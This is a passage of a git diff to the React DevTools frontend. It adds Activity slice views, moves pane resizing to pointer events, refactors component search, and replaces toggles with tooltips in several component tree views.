diff --git a/packages/react-devtools-shared/src/devtools/views/ButtonLabel.js b/packages/react-devtools-shared/src/devtools/views/ButtonLabel.js
new file mode 100644
index 000000000000..3c8cf42f2770
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/ButtonLabel.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+import styles from './ButtonLabel.css';
+
+type Props = {
+  children: React$Node,
+};
+
+export default function ButtonLabel({children}: Props): React.Node {
+  return <span className={styles.ButtonLabel}>{children}</span>;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.css b/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.css
new file mode 100644
index 000000000000..52ecc865e5cb
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.css
@@ -0,0 +1,28 @@
+.ActivitySlice {
+  max-width: 100%;
+  overflow-x: auto;
+  flex: 1;
+  display: flex;
+  align-items: center;
+  position: relative;
+}
+
+.ActivitySliceButton {
+  color: var(--color-button-active);
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+}
+
+.Bar {
+  display: flex;
+  flex: 1 1 auto;
+  overflow-x: auto;
+}
+
+.VRule {
+  flex: 0 0 auto;
+  height: 20px;
+  width: 1px;
+  background-color: var(--color-border);
+  margin: 0 0.5rem;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.js b/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.js
new file mode 100644
index 000000000000..707a5108c6c3
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.js
@@ -0,0 +1,52 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import * as React from 'react';
+import {startTransition, useContext} from 'react';
+import Button from '../Button';
+import ButtonIcon from '../ButtonIcon';
+import {StoreContext} from '../context';
+import {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';
+import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
+import styles from './ActivitySlice.css';
+
+export default function ActivitySlice(): React.Node {
+  const dispatch = useContext(TreeDispatcherContext);
+  const {activityID} = useContext(TreeStateContext);
+  const store = useContext(StoreContext);
+
+  const activity =
+    activityID === null ? null : store.getElementByID(activityID);
+  const name = activity ? activity.nameProp : null;
+
+  const changeActivitySliceAction = useChangeActivitySliceAction();
+
+  return (
+    <div className={styles.ActivitySlice}>
+      <div className={styles.Bar}>
+        <Button
+          className={styles.ActivitySliceButton}
+          onClick={dispatch.bind(null, {
+            type: 'SELECT_ELEMENT_BY_ID',
+            payload: activityID,
+          })}>
+          "{name || 'Unknown'}"
+        </Button>
+      </div>
+      <div className={styles.VRule} />
+      <Button
+        onClick={startTransition.bind(
+          null,
+          changeActivitySliceAction.bind(null, null),
+        )}
+        title="Back to tree view">
+        <ButtonIcon type="close" />
+      </Button>
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Badge.js b/packages/react-devtools-shared/src/devtools/views/Components/Badge.js
index dc18b631ec31..d979ec254ba4 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Badge.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Badge.js
@@ -14,8 +14,17 @@ import styles from './Badge.css';
 type Props = {
   className?: string,
   children: React$Node,
+  ...
 };
 
-export default function Badge({className = '', children}: Props): React.Node {
-  return <div className={`${styles.Badge} ${className}`}>{children}</div>;
+export default function Badge({
+  className = '',
+  children,
+  ...props
+}: Props): React.Node {
+  return (
+    <div {...props} className={`${styles.Badge} ${className}`}>
+      {children}
+    </div>
+  );
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/CannotSuspendWarningMessage.js b/packages/react-devtools-shared/src/devtools/views/Components/CannotSuspendWarningMessage.js
deleted file mode 100644
index 71fce90b5b80..000000000000
--- a/packages/react-devtools-shared/src/devtools/views/Components/CannotSuspendWarningMessage.js
+++ /dev/null
@@ -1,44 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import * as React from 'react';
-import {useContext} from 'react';
-import {StoreContext} from '../context';
-import {
-  ComponentFilterElementType,
-  ElementTypeSuspense,
-} from 'react-devtools-shared/src/frontend/types';
-
-export default function CannotSuspendWarningMessage(): React.Node {
-  const store = useContext(StoreContext);
-  const areSuspenseElementsHidden = !!store.componentFilters.find(
-    filter =>
-      filter.type === ComponentFilterElementType &&
-      filter.value === ElementTypeSuspense &&
-      filter.isEnabled,
-  );
-
-  // Has the user filtered out Suspense nodes from the tree?
-  // If so, the selected element might actually be in a Suspense tree after all.
-  if (areSuspenseElementsHidden) {
-    return (
-      <div>
-        Suspended state cannot be toggled while Suspense components are hidden.
-        Disable the filter and try again.
-      </div>
-    );
-  } else {
-    return (
-      <div>
-        The selected element is not within a Suspense container. Suspending it
-        would cause an error.
-      </div>
-    );
-  }
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ComponentSearchInput.js b/packages/react-devtools-shared/src/devtools/views/Components/ComponentSearchInput.js
index f84e29bf7302..654fe7691837 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/ComponentSearchInput.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ComponentSearchInput.js
@@ -8,22 +8,34 @@
  */
 
 import * as React from 'react';
-import {useContext} from 'react';
-import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
+import {useState, useContext, useCallback} from 'react';
 
-import SearchInput from '../SearchInput';
+import SearchInput from 'react-devtools-shared/src/devtools/views/SearchInput';
+import {
+  TreeDispatcherContext,
+  TreeStateContext,
+} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';
 
-type Props = {};
+export default function ComponentSearchInput(): React.Node {
+  const [localSearchQuery, setLocalSearchQuery] = useState('');
+  const {searchIndex, searchResults} = useContext(TreeStateContext);
+  const transitionDispatch = useContext(TreeDispatcherContext);
 
-export default function ComponentSearchInput(props: Props): React.Node {
-  const {searchIndex, searchResults, searchText} = useContext(TreeStateContext);
-  const dispatch = useContext(TreeDispatcherContext);
-
-  const search = (text: string) =>
-    dispatch({type: 'SET_SEARCH_TEXT', payload: text});
-  const goToNextResult = () => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'});
-  const goToPreviousResult = () =>
-    dispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'});
+  const search = useCallback(
+    (text: string) => {
+      setLocalSearchQuery(text);
+      transitionDispatch({type: 'SET_SEARCH_TEXT', payload: text});
+    },
+    [setLocalSearchQuery, transitionDispatch],
+  );
+  const goToNextResult = useCallback(
+    () => transitionDispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}),
+    [transitionDispatch],
+  );
+  const goToPreviousResult = useCallback(
+    () => transitionDispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'}),
+    [transitionDispatch],
+  );
 
   return (
     <SearchInput
@@ -33,7 +45,7 @@ export default function ComponentSearchInput(props: Props): React.Node {
       search={search}
       searchIndex={searchIndex}
       searchResultsCount={searchResults.length}
-      searchText={searchText}
+      searchText={localSearchQuery}
       testName="ComponentSearchInput"
     />
   );
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Components.css b/packages/react-devtools-shared/src/devtools/views/Components/Components.css
index 5624f2348934..b977a368af14 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Components.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Components.css
@@ -16,13 +16,13 @@
 
 .TreeWrapper {
   flex: 0 0 var(--horizontal-resize-percentage);
-  overflow: auto;
 }
 
 .InspectedElementWrapper {
   flex: 1 1 35%;
   overflow-x: hidden;
   overflow-y: auto;
+  border-left: 1px solid var(--color-border);
 }
 
 .ResizeBarWrapper {
@@ -32,13 +32,20 @@
 
 .ResizeBar {
   position: absolute;
-  left: -2px;
+  /*
+   * moving the bar out of its bounding box might cause its hitbox to overlap
+   * with another scrollbar creating disorienting UX where you both resize and scroll
+   * at the same time.
+   * If you adjust this value, double check that starting resize right on this edge
+   * doesn't also cause scroll
+   */
+  left: 1px;
   width: 5px;
   height: 100%;
   cursor: ew-resize;
 }
 
-@media screen and (max-width: 600px) {
+@container devtools (width < 600px) {
   .Components {
     flex-direction: column;
   }
@@ -49,10 +56,11 @@
 
   .InspectedElementWrapper {
     flex: 1 1 50%;
+    border-left: none;
   }
 
   .ResizeBar {
-    top: -2px;
+    top: 1px;
     left: 0;
     width: 100%;
     height: 5px;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Components.js b/packages/react-devtools-shared/src/devtools/views/Components/Components.js
index 1575ab242c2c..80b6d450331d 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Components.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Components.js
@@ -8,14 +8,7 @@
  */
 
 import * as React from 'react';
-import {
-  Fragment,
-  Suspense,
-  useEffect,
-  useLayoutEffect,
-  useReducer,
-  useRef,
-} from 'react';
+import {Fragment, useEffect, useLayoutEffect, useReducer, useRef} from 'react';
 import Tree from './Tree';
 import {OwnersListContextController} from './OwnersListContext';
 import portaledContent from '../portaledContent';
@@ -26,18 +19,17 @@ import {
 } from 'react-devtools-shared/src/storage';
 import InspectedElementErrorBoundary from './InspectedElementErrorBoundary';
 import InspectedElement from './InspectedElement';
-import {InspectedElementContextController} from './InspectedElementContext';
 import {ModalDialog} from '../ModalDialog';
 import SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';
 import {NativeStyleContextController} from './NativeStyleEditor/context';
 
 import styles from './Components.css';
+import typeof {SyntheticPointerEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
 
 type Orientation = 'horizontal' | 'vertical';
 
 type ResizeActionType =
   | 'ACTION_SET_DID_MOUNT'
-  | 'ACTION_SET_IS_RESIZING'
   | 'ACTION_SET_HORIZONTAL_PERCENTAGE'
   | 'ACTION_SET_VERTICAL_PERCENTAGE';
 
@@ -48,7 +40,6 @@ type ResizeAction = {
 
 type ResizeState = {
   horizontalPercentage: number,
-  isResizing: boolean,
   verticalPercentage: number,
 };
 
@@ -89,91 +80,90 @@ function Components(_: {}) {
     return () => clearTimeout(timeoutID);
   }, [horizontalPercentage, verticalPercentage]);
 
-  const {isResizing} = state;
+  const onResizeStart = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    element.setPointerCapture(event.pointerId);
+  };
+
+  const onResizeEnd = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    element.releasePointerCapture(event.pointerId);
+  };
+
+  const onResize = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    const isResizing = element.hasPointerCapture(event.pointerId);
+    if (!isResizing) {
+      return;
+    }
 
-  const onResizeStart = () =>
-    dispatch({type: 'ACTION_SET_IS_RESIZING', payload: true});
+    const resizeElement = resizeElementRef.current;
+    const wrapperElement = wrapperElementRef.current;
 
-  let onResize;
-  let onResizeEnd;
-  if (isResizing) {
-    onResizeEnd = () =>
-      dispatch({type: 'ACTION_SET_IS_RESIZING', payload: false});
+    if (wrapperElement === null || resizeElement === null) {
+      return;
+    }
 
-    // $FlowFixMe[missing-local-annot]
-    onResize = event => {
-      const resizeElement = resizeElementRef.current;
-      const wrapperElement = wrapperElementRef.current;
+    event.preventDefault();
 
-      if (!isResizing || wrapperElement === null || resizeElement === null) {
-        return;
-      }
+    const orientation = getOrientation(wrapperElement);
 
-      event.preventDefault();
+    const {height, width, left, top} = wrapperElement.getBoundingClientRect();
 
-      const orientation = getOrientation(wrapperElement);
+    const currentMousePosition =
+      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;
 
-      const {height, width, left, top} = wrapperElement.getBoundingClientRect();
+    const boundaryMin = MINIMUM_SIZE;
+    const boundaryMax =
+      orientation === 'horizontal'
+        ? width - MINIMUM_SIZE
+        : height - MINIMUM_SIZE;
 
-      const currentMousePosition =
-        orientation === 'horizontal'
-          ? event.clientX - left
-          : event.clientY - top;
+    const isMousePositionInBounds =
+      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;
 
-      const boundaryMin = MINIMUM_SIZE;
-      const boundaryMax =
+    if (isMousePositionInBounds) {
+      const resizedElementDimension =
+        orientation === 'horizontal' ? width : height;
+      const actionType =
         orientation === 'horizontal'
-          ? width - MINIMUM_SIZE
-          : height - MINIMUM_SIZE;
-
-      const isMousePositionInBounds =
-        currentMousePosition > boundaryMin &&
-        currentMousePosition < boundaryMax;
-
-      if (isMousePositionInBounds) {
-        const resizedElementDimension =
-          orientation === 'horizontal' ? width : height;
-        const actionType =
-          orientation === 'horizontal'
-            ? 'ACTION_SET_HORIZONTAL_PERCENTAGE'
-            : 'ACTION_SET_VERTICAL_PERCENTAGE';
-        const percentage =
-          (currentMousePosition / resizedElementDimension) * 100;
-
-        setResizeCSSVariable(resizeElement, orientation, percentage);
-
-        dispatch({
-          type: actionType,
-          payload: currentMousePosition / resizedElementDimension,
-        });
-      }
-    };
-  }
+          ? 'ACTION_SET_HORIZONTAL_PERCENTAGE'
+          : 'ACTION_SET_VERTICAL_PERCENTAGE';
+      const percentage = (currentMousePosition / resizedElementDimension) * 100;
+
+      setResizeCSSVariable(resizeElement, orientation, percentage);
+
+      dispatch({
+        type: actionType,
+        payload: currentMousePosition / resizedElementDimension,
+      });
+    }
+  };
 
   return (
     <SettingsModalContextController>
       <OwnersListContextController>
-        <div
-          ref={wrapperElementRef}
-          className={styles.Components}
-          onMouseMove={onResize}
-          onMouseLeave={onResizeEnd}
-          onMouseUp={onResizeEnd}>
+        <div ref={wrapperElementRef} className={styles.Components}>
           <Fragment>
             <div ref={resizeElementRef} className={styles.TreeWrapper}>
               <Tree />
             </div>
             <div className={styles.ResizeBarWrapper}>
-              <div onMouseDown={onResizeStart} className={styles.ResizeBar} />
+              <div
+                onPointerDown={onResizeStart}
+                onPointerMove={onResize}
+                onPointerUp={onResizeEnd}
+                className={styles.ResizeBar}
+              />
             </div>
             <div className={styles.InspectedElementWrapper}>
               <NativeStyleContextController>
                 <InspectedElementErrorBoundary>
-                  <Suspense fallback={<Loading />}>
-                    <InspectedElementContextController>
-                      <InspectedElement />
-                    </InspectedElementContextController>
-                  </Suspense>
+                  <InspectedElement
+                    fallbackEmpty={
+                      'No React element selected. Select an element in the tree to inspect.'
+                    }
+                  />
                 </InspectedElementErrorBoundary>
               </NativeStyleContextController>
             </div>
@@ -186,13 +176,9 @@ function Components(_: {}) {
   );
 }
 
-function Loading() {
-  return <div className={styles.Loading}>Loading...</div>;
-}
-
 const LOCAL_STORAGE_KEY = 'React::DevTools::createResizeReducer';
 const VERTICAL_MODE_MAX_WIDTH = 600;
-const MINIMUM_SIZE = 50;
+const MINIMUM_SIZE = 100;
 
 function initResizeState(): ResizeState {
   let horizontalPercentage = 0.65;
@@ -209,18 +195,12 @@ function initResizeState(): ResizeState {
 
   return {
     horizontalPercentage,
-    isResizing: false,
     verticalPercentage,
   };
 }
 
 function resizeReducer(state: ResizeState, action: ResizeAction): ResizeState {
   switch (action.type) {
-    case 'ACTION_SET_IS_RESIZING':
-      return {
-        ...state,
-        isResizing: action.payload,
-      };
     case 'ACTION_SET_HORIZONTAL_PERCENTAGE':
       return {
         ...state,
@@ -259,4 +239,4 @@ function setResizeCSSVariable(
   }
 }
 
-export default (portaledContent(Components): React$AbstractComponent<{}>);
+export default (portaledContent(Components): component());
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Element.css b/packages/react-devtools-shared/src/devtools/views/Components/Element.css
index b11e321e2e6d..c25eddbdbb42 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Element.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Element.css
@@ -1,7 +1,9 @@
 .Element,
+.HoveredElement,
 .InactiveSelectedElement,
-.SelectedElement,
-.HoveredElement {
+.HighlightedElement,
+.InactiveHighlightedElement,
+.SelectedElement {
   color: var(--color-component-name);
 }
 .HoveredElement {
@@ -10,8 +12,15 @@
 .InactiveSelectedElement {
   background-color: var(--color-background-inactive);
 }
+.HighlightedElement {
+  background-color: var(--color-selected-tree-highlight-active);
+}
+.InactiveHighlightedElement {
+  background-color: var(--color-selected-tree-highlight-inactive);
+}
 
 .Wrapper {
+  position: relative;
   padding: 0 0.25rem;
   white-space: pre;
   height: var(--line-height-data);
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/Element.js b/packages/react-devtools-shared/src/devtools/views/Components/Element.js
index f5c30d2d2b0d..da71f86dd797 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/Element.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/Element.js
@@ -8,11 +8,11 @@
  */
 
 import * as React from 'react';
-import {Fragment, useContext, useMemo, useState} from 'react';
+import {Fragment, startTransition, useContext, useMemo, useState} from 'react';
 import Store from 'react-devtools-shared/src/devtools/store';
+import {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';
 import ButtonIcon from '../ButtonIcon';
 import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
-import {SettingsContext} from '../Settings/SettingsContext';
 import {StoreContext} from '../context';
 import {useSubscription} from '../hooks';
 import {logEvent} from 'react-devtools-shared/src/Logger';
@@ -24,6 +24,9 @@ import type {Element as ElementType} from 'react-devtools-shared/src/frontend/ty
 
 import styles from './Element.css';
 import Icon from '../Icon';
+import {useChangeOwnerAction} from './OwnersListContext';
+import Tooltip from './reach-ui/tooltip';
+import {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';
 
 type Props = {
   data: ItemData,
@@ -34,10 +37,9 @@ type Props = {
 
 export default function Element({data, index, style}: Props): React.Node {
   const store = useContext(StoreContext);
-  const {ownerFlatTree, ownerID, selectedElementID} =
+  const {ownerFlatTree, ownerID, inspectedElementID} =
     useContext(TreeStateContext);
   const dispatch = useContext(TreeDispatcherContext);
-  const {showInlineWarningsAndErrors} = React.useContext(SettingsContext);
 
   const element =
     ownerFlatTree !== null
@@ -46,10 +48,6 @@ export default function Element({data, index, style}: Props): React.Node {
 
   const [isHovered, setIsHovered] = useState(false);
 
-  const {isNavigatingWithKeyboard, onElementMouseEnter, treeFocused} = data;
-  const id = element === null ? null : element.id;
-  const isSelected = selectedElementID === id;
-
   const errorsAndWarningsSubscription = useMemo(
     () => ({
       getCurrentValue: () =>
@@ -68,15 +66,30 @@ export default function Element({data, index, style}: Props): React.Node {
     warningCount: number,
   }>(errorsAndWarningsSubscription);
 
+  const changeOwnerAction = useChangeOwnerAction();
+  const changeActivitySliceAction = useChangeActivitySliceAction();
+
+  // Handle elements that are removed from the tree while an async render is in progress.
+  if (element == null) {
+    console.warn(`<Element> Could not find element at index ${index}`);
+
+    // This return needs to happen after hooks, since hooks can't be conditional.
+    return null;
+  }
+
   const handleDoubleClick = () => {
-    if (id !== null) {
-      dispatch({type: 'SELECT_OWNER', payload: id});
-    }
+    startTransition(() => {
+      if (element.type === ElementTypeActivity) {
+        changeActivitySliceAction(element.id);
+      } else {
+        changeOwnerAction(element.id);
+      }
+    });
   };
 
   // $FlowFixMe[missing-local-annot]
-  const handleClick = ({metaKey}) => {
-    if (id !== null) {
+  const handleClick = ({metaKey, button}) => {
+    if (id !== null && button === 0) {
       logEvent({
         event_name: 'select-element',
         metadata: {source: 'click-element'},
@@ -107,22 +120,31 @@ export default function Element({data, index, style}: Props): React.Node {
     event.preventDefault();
   };
 
-  // Handle elements that are removed from the tree while an async render is in progress.
-  if (element == null) {
-    console.warn(`<Element> Could not find element at index ${index}`);
-
-    // This return needs to happen after hooks, since hooks can't be conditional.
-    return null;
-  }
-
   const {
+    id,
     depth,
     displayName,
     hocDisplayNames,
     isStrictModeNonCompliant,
+    isActivityHidden,
+    isInsideHiddenActivity,
     key,
+    nameProp,
     compiledWithForget,
   } = element;
+  const {
+    isNavigatingWithKeyboard,
+    onElementMouseEnter,
+    treeFocused,
+    calculateElementOffset,
+  } = data;
+
+  const isSelected = inspectedElementID === id;
+  const isDescendantOfSelected =
+    inspectedElementID !== null &&
+    !isSelected &&
+    store.isDescendantOf(inspectedElementID, id);
+  const elementOffset = calculateElementOffset(depth);
 
   // Only show strict mode non-compliance badges for top level elements.
   // Showing an inline badge for every element in the tree would be noisy.
@@ -135,6 +157,10 @@ export default function Element({data, index, style}: Props): React.Node {
       : styles.InactiveSelectedElement;
   } else if (isHovered && !isNavigatingWithKeyboard) {
     className = styles.HoveredElement;
+  } else if (isDescendantOfSelected) {
+    className = treeFocused
+      ? styles.HighlightedElement
+      : styles.InactiveHighlightedElement;
   }
 
   return (
@@ -144,17 +170,19 @@ export default function Element({data, index, style}: Props): React.Node {
       onMouseLeave={handleMouseLeave}
       onMouseDown={handleClick}
       onDoubleClick={handleDoubleClick}
-      style={style}
-      data-testname="ComponentTreeListItem"
-      data-depth={depth}>
+      title={
+        isInsideHiddenActivity
+          ? 'This component is inside a hidden Activity subtree.'
+          : undefined
+      }
+      style={{
+        ...style,
+        paddingLeft: elementOffset,
+        opacity: isInsideHiddenActivity ? 0.75 : 1,
+      }}
+      data-testname="ComponentTreeListItem">
       {/* This wrapper is used by Tree for measurement purposes. */}
-      <div
-        className={styles.Wrapper}
-        style={{
-          // Left offset presents the appearance of a nested tree structure.
-          // We must use padding rather than margin/left because of the selected background color.
-          transform: `translateX(calc(${depth} * var(--indentation-size)))`,
-        }}>
+      <div className={styles.Wrapper}>
         {ownerID === null && (
           <ExpandCollapseToggle element={element} store={store} />
         )}
@@ -168,7 +196,32 @@ export default function Element({data, index, style}: Props): React.Node {
               className={styles.KeyValue}
               title={key}
               onDoubleClick={handleKeyDoubleClick}>
-              {key}
+              <IndexableDisplayName displayName={key} id={id} />
+            </span>
+            "
+          </Fragment>
+        )}
+
+        {nameProp && (
+          <Fragment>
+            &nbsp;<span className={styles.KeyName}>name</span>="
+            <span
+              className={styles.KeyValue}
+              title={nameProp}
+              onDoubleClick={handleKeyDoubleClick}>
+              <IndexableDisplayName displayName={nameProp} id={id} />
+            </span>
+            "
+          </Fragment>
+        )}
+
+        {element.type === ElementTypeActivity && (
+          <Fragment>
+            &nbsp;<span className={styles.KeyName}>mode</span>="
+            <span
+              className={styles.KeyValue}
+              title={isActivityHidden ? 'hidden' : 'visible'}>
+              {isActivityHidden ? 'hidden' : 'visible'}
             </span>
             "
           </Fragment>
@@ -181,7 +234,7 @@ export default function Element({data, index, style}: Props): React.Node {
           className={styles.BadgesBlock}
         />
 
-        {showInlineWarningsAndErrors && errorCount > 0 && (
+        {errorCount > 0 && (
           <Icon
             type="error"
             className={
@@ -191,7 +244,7 @@ export default function Element({data, index, style}: Props): React.Node {
             }
           />
         )}
-        {showInlineWarningsAndErrors && warningCount > 0 && (
+        {warningCount > 0 && (
           <Icon
             type="warning"
             className={
@@ -202,15 +255,16 @@ export default function Element({data, index, style}: Props): React.Node {
           />
         )}
         {showStrictModeBadge && (
-          <Icon
-            className={
-              isSelected && treeFocused
-                ? styles.StrictModeContrast
-                : styles.StrictMode
-            }
-            title="This component is not running in StrictMode."
-            type="strict-mode-non-compliant"
-          />
+          <Tooltip label="This component is not running in StrictMode.">
+            <Icon
+              className={
+                isSelected && treeFocused
+                  ? styles.StrictModeContrast
+                  : styles.StrictMode
+              }
+              type="strict-mode-non-compliant"
+            />
+          </Tooltip>
         )}
       </div>
     </div>
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.js b/packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.js
index a829ad0153aa..5a3355c60c49 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ElementBadges.js
@@ -16,18 +16,21 @@ import styles from './ElementBadges.css';
 
 type Props = {
   hocDisplayNames: Array<string> | null,
+  environmentName: string | null,
   compiledWithForget: boolean,
   className?: string,
 };
 
 export default function ElementBadges({
   compiledWithForget,
+  environmentName,
   hocDisplayNames,
   className = '',
 }: Props): React.Node {
   if (
     !compiledWithForget &&
-    (hocDisplayNames == null || hocDisplayNames.length === 0)
+    (hocDisplayNames == null || hocDisplayNames.length === 0) &&
+    environmentName == null
   ) {
     return null;
   }
@@ -36,6 +39,8 @@ export default function ElementBadges({
     <div className={`${styles.Root} ${className}`}>
       {compiledWithForget && <ForgetBadge indexable={false} />}
 
+      {environmentName != null ? <Badge>{environmentName}</Badge> : null}
+
       {hocDisplayNames != null && hocDisplayNames.length > 0 && (
         <Badge>{hocDisplayNames[0]}</Badge>
       )}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.css b/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.css
index e80f37083345..415f8e96fd75 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.css
@@ -11,11 +11,3 @@
   position: absolute;
   right: 0.25em;
 }
-
-.ForgetToggle {
-  display: flex;
-}
-
-.ForgetToggle > span { /* targets .ToggleContent */
-  padding: 0;
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.js b/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.js
index 00b4f0db13f9..5048f3085f71 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/ForgetBadge.js
@@ -11,7 +11,7 @@ import * as React from 'react';
 
 import Badge from './Badge';
 import IndexableDisplayName from './IndexableDisplayName';
-import Toggle from '../Toggle';
+import Tooltip from './reach-ui/tooltip';
 
 import styles from './ForgetBadge.css';
 
@@ -40,12 +40,11 @@ export default function ForgetBadge(props: Props): React.Node {
     'Memo'
   );
 
-  const onChange = () => {};
   const title =
     '✨ This component has been auto-memoized by the React Compiler.';
   return (
-    <Toggle onChange={onChange} className={styles.ForgetToggle} title={title}>
+    <Tooltip label={title}>
       <Badge className={`${styles.Root} ${className}`}>{innerView}</Badge>
-    </Toggle>
+    </Tooltip>
   );
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectHostNodesToggle.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectHostNodesToggle.js
index f4cc5a833f25..1b8fd54dc5ce 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectHostNodesToggle.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectHostNodesToggle.js
@@ -14,7 +14,11 @@ import Toggle from '../Toggle';
 import ButtonIcon from '../ButtonIcon';
 import {logEvent} from 'react-devtools-shared/src/Logger';
 
-export default function InspectHostNodesToggle(): React.Node {
+export default function InspectHostNodesToggle({
+  onlySuspenseNodes,
+}: {
+  onlySuspenseNodes?: boolean,
+}): React.Node {
   const [isInspecting, setIsInspecting] = useState(false);
   const bridge = useContext(BridgeContext);
 
@@ -24,19 +28,19 @@ export default function InspectHostNodesToggle(): React.Node {
 
       if (isChecked) {
         logEvent({event_name: 'inspect-element-button-clicked'});
-        bridge.send('startInspectingNative');
+        bridge.send('startInspectingHost', !!onlySuspenseNodes);
       } else {
-        bridge.send('stopInspectingNative', false);
+        bridge.send('stopInspectingHost');
       }
     },
     [bridge],
   );
 
   useEffect(() => {
-    const onStopInspectingNative = () => setIsInspecting(false);
-    bridge.addListener('stopInspectingNative', onStopInspectingNative);
+    const onStopInspectingHost = () => setIsInspecting(false);
+    bridge.addListener('stopInspectingHost', onStopInspectingHost);
     return () =>
-      bridge.removeListener('stopInspectingNative', onStopInspectingNative);
+      bridge.removeListener('stopInspectingHost', onStopInspectingHost);
   }, [bridge]);
 
   return (
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.css b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.css
index 1303d009cf01..f9e60f0f15a0 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.css
@@ -3,7 +3,6 @@
   flex-direction: column;
   height: 100%;
   width: 100%;
-  border-left: 1px solid var(--color-border);
   border-top: 1px solid var(--color-border);
 }
 
@@ -45,12 +44,13 @@
 .SelectedComponentName {
   flex: 1 1 auto;
   overflow: hidden;
-  text-overflow: ellipsis;
-  line-height: normal;
+  display: flex;
+  padding: 0.25rem 0;
+  height: 100%;
+  align-items: flex-end;
 }
 
-.Component {
-  flex: 1 1 auto;
+.ComponentName {
   color: var(--color-component-name);
   font-family: var(--font-family-monospace);
   font-size: var(--font-size-monospace-normal);
@@ -60,14 +60,31 @@
   max-width: 100%;
 }
 
+.StrictModeNonCompliantComponentName {
+  color: var(--color-console-error-icon);
+}
+
 .Loading {
   padding: 0.25rem;
   color: var(--color-dimmer);
   font-style: italic;
-  border-left: 1px solid var(--color-border);
+}
+
+.NoInspectionFallback {
+  padding: 0.25rem;
+  font-style: italic;
 }
 
 .StrictModeNonCompliant {
-  margin-right: 0.25rem;
+  display: inline-flex;
+  padding: 0.25rem;
   color: var(--color-console-error-icon);
-}
\ No newline at end of file
+}
+
+.VRule {
+  height: 20px;
+  width: 1px;
+  flex: 0 0 1px;
+  margin: 0 0.5rem;
+  background-color: var(--color-border);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.js
index 1f1f538b6b63..af5c8d4b4b1b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.js
